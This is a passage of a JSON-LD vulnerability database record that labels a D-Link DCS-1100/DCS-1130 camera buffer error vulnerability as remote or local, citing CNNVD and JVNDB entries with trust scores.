"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote or local",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-120"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "D-Link DCS-1100 and DCS-1130 Device buffer error vulnerability",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2017-014563"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "buffer error",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201907-120"
}
],
"trust": 0.6
}
}